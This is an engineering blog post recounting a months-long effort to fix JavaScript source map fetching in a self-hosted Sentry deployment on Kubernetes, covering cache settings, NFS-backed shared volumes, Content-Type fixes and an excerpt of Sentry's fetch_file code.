&lt;p&gt;For a multitude of reasons, the process of enabling JavaScript source map support in Sentry seemed
simple initially, but spawned into a months-long troubleshooting adventure, rife with wrong turns,
bad guesses, and – eventually – payoff.&lt;/p&gt;

&lt;p&gt;After finally getting it working, I felt that the process of solving this problem was a perfect encapsulation
of the kind of frustrating-yet-satisfying work that goes on in the realm of Production Engineering.&lt;/p&gt;

&lt;p&gt;I’ll chronicle the journey by sharing each major troubleshooting step along the way, as well as how it either moved
us closer to a solution or further away from it.
So sit back and enjoy the ride…&lt;/p&gt;

&lt;h2 id=&quot;attempt-1-adjusting-the-setting&quot;&gt;Attempt 1. Adjusting The Setting&lt;/h2&gt;

&lt;p&gt;The most difficult problems often appear simple at the start, and this was no exception.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/2021/2021-09-sentry-attempt-1.png&quot; alt=&quot;Slack thread: &amp;quot;Any idea why JS sourcemaps are not getting pulled in?&amp;quot; &amp;quot;Could be because Allow JavaScript Source Fetching&amp;quot; is disabled&quot; width=&quot;500px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I enabled the aptly-named “Allow JavaScript Source Fetching” setting within the Sentry UI, and waited for a
new JavaScript event to be ingested by Sentry.&lt;/p&gt;

&lt;h2 id=&quot;attempt-2-increasing-the-cache-size&quot;&gt;Attempt 2. Increasing the Cache Size&lt;/h2&gt;

&lt;p&gt;A few minutes later, we had a clue as to what was wrong: this banner began appearing on all JavaScript issues in Sentry.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/2021/2021-09-sentry-attempt-2.png&quot; alt=&quot;There were errors encountered while processing this event: Remote file too large for caching&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Per the message, the remote JavaScript files we were attempting to fetch appeared to be “too large for caching”.
What cache is it talking about?&lt;/p&gt;

&lt;p&gt;Sentry contains many different components which together allow for events to be ingested, but is at
its core a Django-based Python application.
Knowing this, I dived into its default settings file and looked at the available options, one of which was &lt;a href=&quot;https://github.com/getsentry/sentry/blob/21.5.1/src/sentry/conf/server.py#L1331&quot;&gt;SENTRY_CACHE_MAX_VALUE_SIZE&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# Maximum content length for cache value.  Currently used only to avoid
# pointless compression of sourcemaps and other release files because we
# silently fail to cache the compressed result anyway.  Defaults to None which
# disables the check and allows different backends for unlimited payload.
# e.g. memcached defaults to 1MB  = 1024 * 1024
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SENTRY_CACHE_MAX_VALUE_SIZE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This seemed like a reasonable setting to look at to fix the “too large for caching” error.
It mentions source maps explicitly, as well as a possible default limit if using Memcached.&lt;/p&gt;

&lt;p&gt;But having set up our Sentry deployment, I knew that we weren’t using Memcached, and the comment
block also mentions that a value of None disables the check, which it was already set as.
Given the mention of different, backend-related maximums, I assumed that Redis was being used as our
cache backend rather than Memcached, since Redis was running inside our cluster for use by Sentry.
Maybe setting a high value here would override a different maximum check present somewhere for Redis?&lt;/p&gt;

&lt;p&gt;I set the variable to 40MB on the off chance that it made a difference.
Unfortunately, it did not, and the error remained.&lt;/p&gt;

&lt;h2 id=&quot;attempt-3-redis-limits&quot;&gt;Attempt 3. Redis Limits&lt;/h2&gt;

&lt;p&gt;I next considered whether our Redis cluster might have a maximum value size that was being applied.
However, I quickly stopped going down this troubleshooting route as the Redis documentation on data
types clearly states:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;A String value can be at max 512 Megabytes in length.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The JavaScript files attempting to be fetched were in the low-megabyte size range, so that certainly
didn’t seem like it would be an issue.
I moved on, figuring that Redis was probably functioning completely fine.
(It was.)&lt;/p&gt;

&lt;h2 id=&quot;attempt-4-maybe-were-timing-out&quot;&gt;Attempt 4. Maybe we’re timing out?&lt;/h2&gt;

&lt;p&gt;I next attempted to change some settings options related to fetch timeouts, on the oft chance that
network requests to our served JavaScript files were timing out:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;##################################
# JavaScript source map settings #
##################################
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Timeout (in seconds) for fetching remote source files (e.g. JS)
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SENTRY_SOURCE_FETCH_TIMEOUT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Timeout (in seconds) for socket operations when fetching remote source files
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SENTRY_SOURCE_FETCH_SOCKET_TIMEOUT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Maximum content length for source files before we abort fetching (40MB)
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SENTRY_SOURCE_FETCH_MAX_SIZE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This didn’t move the needle in any direction.
These timeouts weren’t being hit before, and they weren’t still.&lt;/p&gt;

&lt;h2 id=&quot;attempt-5-maybe-upgrading-will-fix-it&quot;&gt;Attempt 5. Maybe upgrading will fix it?&lt;/h2&gt;

&lt;p&gt;Going on at the same time as the last troubleshooting step, our team was planning to upgrade to a more recent
version of Sentry due to bugs we were experiencing with past upgrades.
The Sentry development team shipped release 21.4.0 with
&lt;a href=&quot;https://github.com/getsentry/sentry/issues/25223&quot;&gt;a bug that prevented the Dashboard page from being displayed&lt;/a&gt;, after previously shipping
release 21.3.0 with &lt;a href=&quot;https://github.com/getsentry/sentry/issues/24639&quot;&gt;a bug that prevented new alerts from being created&lt;/a&gt;.
Unluckily for us, we had run into both of those issues, and while we organizationally did not depend strongly
on these specific Sentry monitoring features, wanted to quickly upgrade to a more stable version of Sentry
without any showstopper bugs.&lt;/p&gt;

&lt;p&gt;Given that we were planning to perform this upgrade soon, we thought it would be worth pushing further
source map investigation until after the upgrade.&lt;/p&gt;

&lt;h2 id=&quot;attempt-6-did-we-break-it&quot;&gt;Attempt 6. Did we break it?&lt;/h2&gt;

&lt;p&gt;After the upgrade, we gradually started experiencing more issues with Sentry unrelated to source map fetching.
Specifically, we were encountering scenarios where, after a spike in Sentry events sent from a downstream service,
Sentry would get backed up with events and eventually stop processing them entirely.
This culminated in us declaring an internal incident, where for a few days our team focused entirely on getting our
internal instance of Sentry working reliably.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/2021/2021-09-sentry-attempt-6.png&quot; alt=&quot;A list of commits in Gerrit relating to improving our deployed instance of Sentry&quot; /&gt;&lt;/p&gt;

&lt;p&gt;During this period, we disabled source map fetching (which already wasn’t working) in an attempt to improve
Sentry performance.
We discovered later that the source map fetching had nothing to do with the issues we were experiencing, but this did
set us back to square one on the source map troubleshooting front.
The Sentry issues we experienced could themselves be the basis for a different blog post,
so I won’t make this one any longer going into our deployment problems in more depth.&lt;/p&gt;

&lt;p&gt;After the incident, we made use of the aptly-timed Engineering-wide Quality Sprint to improve our monitoring of Sentry.
I built out a &lt;a href=&quot;https://github.com/jwoglom/sentry_exporter&quot;&gt;customized Prometheus Exporter for black-box monitoring of Sentry’s event throughput&lt;/a&gt;,
for instance, which helped us identify future event processing delays with alerts.&lt;/p&gt;

&lt;p&gt;After all of this time spent on Sentry-related work, we spread out the remaining stories in our Sentry epic,
including fixing source maps, across sprints so that we could make progress on other deliverables.&lt;/p&gt;

&lt;h2 id=&quot;attempt-7-blame-kubernetes&quot;&gt;Attempt 7. Blame Kubernetes&lt;/h2&gt;

&lt;p&gt;A few weeks later, we picked up the source maps story into our sprint and began a deep-dive into the
configuration of our deployed Sentry application.
We run Sentry in a Google Kubernetes Engine cluster, using a modified version of the &lt;a href=&quot;https://github.com/sentry-kubernetes/charts&quot;&gt;sentry-kubernetes Helm chart&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Sentry uses worker processes, which fetch background tasks from RabbitMQ, as part of the event processing flow
which includes fetching sourcemaps. We identified that the sentry-worker Kubernetes deployment was configured to
mount a sentry-data persistent volume, but this mount was read-only. This meant that no sentry-worker pods could
fetch source maps and save them to disk.&lt;/p&gt;

&lt;p&gt;A simple solution would be to remove the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readOnly: true&lt;/code&gt; flag on the VolumeMount for the data volume.
However, this would not work because the access mode of the volume was set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ReadWriteOnce&lt;/code&gt;.
This meant that only a single pod could be configured with non-read only access to the volume.
As part of our Kubernetes deployment of Sentry, we have anywhere from 5 to 15 replicas of the sentry-worker
configured (based on autoscaling), plus the sentry-web pod, so that wouldn’t be workable.&lt;/p&gt;

&lt;p&gt;What we needed was a way for multiple pods to read and write to the same storage.
Kubernetes contains a PVC access mode called ReadWriteMany, which as the name implies allows multiple pods
to have a read-write attachment to a single volume, which is exactly what we needed.
However, &lt;a href=&quot;https://cloud.google.com/kubernetes-engine/docs/concepts/persistent-volumes#access_modes&quot;&gt;Google Kubernetes Engine does not support this!&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PersistentVolume&lt;/code&gt; resources support the following &lt;a href=&quot;https://kubernetes.io/docs/concepts/storage/persistent-volumes/#access-modes&quot;&gt;access modes&lt;/a&gt;:&lt;/p&gt;

  &lt;ul&gt;
    &lt;li&gt;&lt;strong&gt;ReadWriteOnce:&lt;/strong&gt; The volume can be mounted as read-write by a single node.&lt;/li&gt;
    &lt;li&gt;&lt;strong&gt;ReadOnlyMany:&lt;/strong&gt; The volume can be mounted read-only by many nodes.&lt;/li&gt;
    &lt;li&gt;&lt;strong&gt;ReadWriteMany:&lt;/strong&gt; The volume can be mounted as read-write by many nodes. &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PersistentVolume&lt;/code&gt; resources that are backed by Compute Engine persistent disks don’t support this access mode.&lt;/strong&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;However, there was still a path forward,
&lt;a href=&quot;https://github.com/sentry-kubernetes/charts#persistence&quot;&gt;hinted at by the documentation for the Sentry Kubernetes helm chart&lt;/a&gt;:
running a NFS server inside our Kubernetes deployment, and having the sentry-web and sentry-worker deployments mount
the volume using the &lt;a href=&quot;https://github.com/kubernetes/examples/tree/master/staging/volumes/nfs&quot;&gt;NFS volume type&lt;/a&gt;.
If we had wanted to fully utilize the Google Cloud ecosystem,
&lt;a href=&quot;https://cloud.google.com/filestore/docs/accessing-fileshares&quot;&gt;Cloud Filestore&lt;/a&gt; might have been an alternative option for a GCP-managed NFS-like deployment,
but we didn’t investigate this.&lt;/p&gt;

&lt;h2 id=&quot;attempt-8-the-gang-runs-a-nfs-server&quot;&gt;Attempt 8. The Gang Runs a NFS Server&lt;/h2&gt;

&lt;p&gt;My coworker spun up a NFS server deployment inside our sentry namespace, and through it was able to set up
a multi-mount PVC.
This involved creating a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;StatefulSet&lt;/code&gt; for the NFS server itself, which was backed by a normal GKE &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ReadWriteOnce&lt;/code&gt;
volume, and then creating a separate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PersistentVolume&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PersistentVolumeContainer&lt;/code&gt; which referenced
the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;StatefulSet&lt;/code&gt; via its DNS hostname as a NFS server.
That final PVC could then have access mode &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ReadWriteMany&lt;/code&gt;, in order to be consumed by the workers and web pods.&lt;/p&gt;

&lt;p&gt;Once deployed, we could now successfully kubectl exec into different worker pods and write data to the shared volume!
I felt fairly confident for once that we were nearing the end of this rollercoaster.&lt;/p&gt;

&lt;p&gt;But after updating our deployment with the ReadWriteMany volume fully working, we still had the same issue.
After all of our work so far, we still didn’t have any source code – minified or not – showing up in Sentry.&lt;/p&gt;

&lt;p&gt;At this point, my team had spent a lot of time on Sentry related work, and we were convinced that scraping
source maps might just never work properly.
Sentry recommends new users towards &lt;a href=&quot;https://docs.sentry.io/platforms/javascript/sourcemaps/uploading/&quot;&gt;uploading their sourcemaps directly to Sentry itself&lt;/a&gt;,
which is something we had considered earlier, but would require some more complicated logic in our CI
deployment pipelines which we wanted to avoid if possible.&lt;/p&gt;

&lt;p&gt;We kept a “fix Sentry source maps” JIRA task in our backlog, hoping to look into making those deployment-related changes
for uploading source maps within a few months.&lt;/p&gt;

&lt;h2 id=&quot;attempt-9-a-new-hope&quot;&gt;Attempt 9. A New Hope&lt;/h2&gt;

&lt;p&gt;But then, around a month later, a Slack post in our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#help-production&lt;/code&gt; channel asking about Sentry source maps
brought about a flurry of activity to try and fix the issue again…&lt;/p&gt;

&lt;p&gt;One thing I especially enjoy about working at Yext is the broader engineering culture that is present
across all of our teams.
Instead of putting up silos between the different groups and teams in our Engineering organization, we encourage
members of different teams to collaborate and help each other.
Using a Git monorepo with a single code review tool (&lt;a href=&quot;https://www.gerritcodereview.com/&quot;&gt;Gerrit&lt;/a&gt;) also helps eliminate friction, allowing
anyone within Yext Engineering to view and upload a code review that touches another team’s code.&lt;/p&gt;

&lt;p&gt;In this case, two engineers from our Web Publishing group noticed that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type&lt;/code&gt; of source map
files being served from our webserver appeared to be wrong.
They shipped a change to the base configuration file for the Java Play! Framework, which is used by
many of our microservice applications which serve their own static JavaScript files.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/2021/2021-09-sentry-attempt-9-contenttype.png&quot; alt=&quot;I also think that our source maps may be wrong. They have a content type of application/x-navimap. The sourcemap validator can't find them.&quot; width=&quot;500px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The hope within Slack was palpable as Justin made the change locally, exposed his local instance through &lt;a href=&quot;https://ngrok.com/&quot;&gt;ngrok&lt;/a&gt;,
and verified that the Source Map Validator at &lt;a href=&quot;https://sourcemaps.io/&quot;&gt;sourcemaps.io&lt;/a&gt; was now able to identify the source map.
As if that wasn’t exciting enough, the Source Map Validator website was run by the Sentry team.
If the site could detect the source map, that sure seemed to imply that Sentry would be able to well.&lt;/p&gt;

&lt;p&gt;Justin and Brandon discussed further and put up a code review that was quickly shipped on a Thursday evening.
After waiting the weekend for Sentry errors to pop up in some newly redeployed applications..&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/2021/2021-09-sentry-attempt-9-nope.png&quot; alt=&quot;Looks like this is still happening (sadparrot)&quot; width=&quot;300px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;By mid-day Monday, the error persisted.
Nothing appeared to have changed in Sentry.&lt;/p&gt;

&lt;h2 id=&quot;attempt-10-the-other-caching-mechanism&quot;&gt;Attempt 10: The Other Caching Mechanism&lt;/h2&gt;

&lt;p&gt;Newly convinced that any source map serving issues were now resolved, I decided to dive deep into the Sentry source code
to try and figure out what was going on.
I cloned the &lt;a href=&quot;https://github.com/getsentry/sentry&quot;&gt;github.com/getsentry/sentry&lt;/a&gt; repository, searched for references to source maps,
and tried to build a mental model of what I thought might be going on.&lt;/p&gt;

&lt;p&gt;I honed in on &lt;a href=&quot;https://github.com/getsentry/sentry/blob/21.5.1/src/sentry/lang/javascript/processor.py#L480&quot;&gt;the fetch_sourcemap() function in Sentry’s Python source code&lt;/a&gt;, and traced the
source map fetching process &lt;a href=&quot;https://github.com/getsentry/sentry/blob/21.5.1/src/sentry/lang/javascript/processor.py#L400&quot;&gt;to this section in fetch_file()&lt;/a&gt;.
That method contains the only reference in the entire codebase to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EventError.TOO_LARGE_FOR_CACHE&lt;/code&gt; constant,
which corresponds with the “Remote file too large for caching” error message we were observing.
Deductive reasoning suggested that this code snippet was invoking that code path, causing the error message:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fetch_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;project&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;release&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dist&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;allow_scraping&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;
    Pull down a URL, returning a UrlResult object.
    Attempts to fetch from the database first (assuming there's a release on the
    event), then the internet. Caches the result of each of those two attempts
    separately, whether or not those attempts are successful. Used for both
    source files and source maps.
    &quot;&quot;&quot;&lt;/span&gt;
    
    &lt;span class=&quot;n&quot;&gt;cache_key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;source:cache:v4:&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;md5_text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hexdigest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;debug&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Checking cache for url %r&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cache_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# ..snip..
&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# ..snip..
&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;metrics&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;timer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;sourcemaps.fetch&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fetch_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;verify_ssl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;verify_ssl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;z_body&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;zlib&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;compress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;cache_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;z_body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;get_max_age&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

            &lt;span class=&quot;c1&quot;&gt;# since the cache.set above can fail we can end up in a situation
&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;# where the file is too large for the cache. In that case we abort
&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;# the fetch and cache a failure and lock the domain for future
&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;# http fetches.
&lt;/span&gt;            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cache_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;s&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TOO_LARGE_FOR_CACHE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;s&quot;&gt;&quot;url&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;expose_url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lock_domain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;raise&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CannotFetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# ..snip..
&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;(For simplicity, I truncated sections of code in this snippet. &lt;a href=&quot;https://github.com/getsentry/sentry/blob/21.5.1/src/sentry/lang/javascript/processor.py#L400&quot;&gt;You can view the full source code here.&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;So, what’s going on in this code?&lt;/p&gt;

&lt;p&gt;Sentry fetches the file requested, and then adds a mapping between the cache_key and the file’s contents in its cache
backend. But then immediately afterwards, it queries that cache backend for the cache_key it just set to ensure that
the value was properly stored in the cache.
If data from the cache couldn’t be read, then Sentry assumes that the file was too large to fit in the cache and returns
the error message we had been experiencing.&lt;/p&gt;

